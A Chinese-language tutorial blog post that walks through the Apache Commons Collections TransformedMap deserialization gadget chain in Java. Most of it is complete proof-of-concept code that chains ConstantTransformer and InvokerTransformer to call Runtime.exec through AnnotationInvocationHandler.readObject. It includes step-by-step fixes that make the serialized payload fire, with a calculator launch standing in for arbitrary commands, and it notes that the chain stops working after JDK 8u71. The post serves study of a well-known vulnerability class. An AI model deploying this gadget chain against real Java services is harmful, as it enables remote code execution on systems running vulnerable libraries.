CommonsCollections
TransformedMap
这条并不是ysoserial中的利用链,而利用TransformedMap改造的简化版。 来源于P牛:phith0n/CommonsCollectionsIntro.java
完整代码1
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
TransformedMap
TransformedMap
,⽤于对Map类型的对象做修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
如下,传入变量innerMap
,返回outerMap
。outerMap
在添加新元素时,keyTransformer
是处理新元素的Key的回调,valueTransformer
是处理新元素的Value的回调,处理后得到的返回值才会被添加进outerMap
中
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
这里的回调是指实现了Transformer接⼝的类,该类只有一个待实现的方法
代码语言:javascript复制public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
ConstantTransformer
是实现了transform
接口的类,它的作用是直接返回传入的对象- 这里传入的是
Runtime.getRuntime()
,所以将会返回Runtime
对象
new ConstantTransformer(Runtime.getRuntime())
InvokerTransformer
InvokerTransformer
是实现了transform
接口的类,它的作用是通过反射调用指定类的指定方法,并将调用结果返回,这个正是执行恶意命令的核心类- 实例化这个类时需要传⼊三个参数
- 第⼀个参数是待执⾏的⽅法名
- 第⼆个参数是这个函数的参数列表的参数类型
- 第三个参数是传给这个函数的参数列表
代码语言:javascript复制new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator"
}
)
ChainedTransformer
ChainedTransformer
,Transformer利用链。该类会对传入的Transformer数组进行链式调用,将前一个Transformer的执行结果当作参数传递到下一个,直至全部Transformer执行完毕后返回
// org.apache.commons.collections.functors.ChainedTransformer
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
POC代码中创建了⼀条ChainedTransformer
,其中包含了ConstantTransformer
和InvokerTransformer
。这两条Transformer组合得到的回调顺序为:先调用ConstantTransformer
并返回一个Runtime
对象,然后调用InvokerTransformer
,执行exec
方法,参数为Calc
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{
"/System/Applications/Calculator.app/Contents/MacOS/Calculator"
}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
然后通过TransformedMap.decorate()
方法,使用这条利用链修饰innerMap
,得到outerMap
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后只需要往outerMap
中添加新元素,即可触发该利用链,进行一系列回调
outerMap.put("test", "xxxx");
AnnotationInvocationHandler
当然,上⾯的代码执⾏demo,它只是⼀个⽤来在本地测试的类。在实际反序列化漏洞中,需要将 上⾯最终⽣成的outerMap对象变成⼀个序列化流。
- 在前面Demo中,需要向修饰过的Map类的实例中添加新元素才能触发漏洞。
- 手动添加新元素->触发利用链->触发漏洞而在实际反序列化中,则需要找到一个类,
代码语言:txt复制- 反序列化->触发`readObject`方法->触发利用链->触发漏洞
而这里找到的类就是sun.reflect.annotation.AnnotationInvocationHandler
,readObject
方法如下:(这是8u71以前的代码,8u71以后做了一些修改)
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
}
catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() "[" value "]").setMember( annotationType.members().get(name) )
);
}
}
}
}
核心逻辑是
Map.Entry<String, Object> memberValue : memberValues.entrySet()
和memberValue.setValue(...)
。memberValues
就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
构造POC
- 尝试使用
AnnotationInvocationHandler
对象生成序列化数据
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
System.out.println(baos);
// Deserialize
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
- 运行后报错
java.io.NotSerializableException: java.lang.Runtime
修改POC
原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了
java.io.Serializable
接口。 而我们最早传给ConstantTransformer
的是Runtime.getRuntime()
,Runtime
类是没有实现java.io.Serializable
接口的,所以不允许被序列化。
但可以通过反射来获取到当前上下文中的Runtime对象。这里将Runtime.getRuntime()
换成了Runtime.class
,前者是java.lang.Runtime
对象,后者是java.lang.Class
对象。因为Class类实现了Serializable接口,所以可以被序列化。
- 使用
Runtime.class
时的调用链为:
Runtime.class.getMethod("getRuntime").invoke(null)
Runtime.class
可以使用ConstantTransformer
,这个类可以直接返回传入的对象
new ConstantTransformer(Runtime.class),
getMethod("getRuntime")
,由于getRuntime()
方法不需要参数,所以这里传入的new Class[0]
只是占位符而已,修改为null
也可以
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
)
invoke(null)
,这里的new Object[0]
同样是占位符
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
)
- 创建一个
TestCC.java
文件,将前面的整合起来跑一下,可以正常弹出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class TestCC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Object obj = new Object();
transformerChain.transform(obj);
}
}
- 代入到POC中,替换原来的
ConstantTransformer()
Transformer[] transformers = new Transformer[] {
// new ConstantTransformer(Runtime.getRuntime()),
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
完整代码2
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
// new ConstantTransformer(Runtime.getRuntime()),
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
// innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
System.out.println(baos);
// Deserialize
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object) ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
- 运行后输出了序列化后的数据流,但是反序列化时仍然没弹出计算器。
仍未触发漏洞
这个实际上和
AnnotationInvocationHandler
类的逻辑有关,我们可以动态调试就会发现,在AnnotationInvocationHandler:readObject
的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞
那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术
直接给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是Annotation
的子类,且其中必须含有至少一个方法,假设方法名是X
- 被
TransformedMap.decorate
修饰的Map中必须有一个键名为X
的元素
这也解释了为什么前面用到Retention.class
,因为Retention有一个方法名为value
;所以为了再满足第二个条件,需要给Map中放入一个Key是value的元素:
// innerMap.put("test", "xxxx");
innerMap.put("value", "xxxx");
高版本无法利用
JDK 8u71后修改了
sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap
对象,而原来我们精心构造的Map不再执行set
或put
操作,也就不会触发RCE了。
版权属于:Naraku
本文链接:https://cloud.tencent.com/developer/article/1981221
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~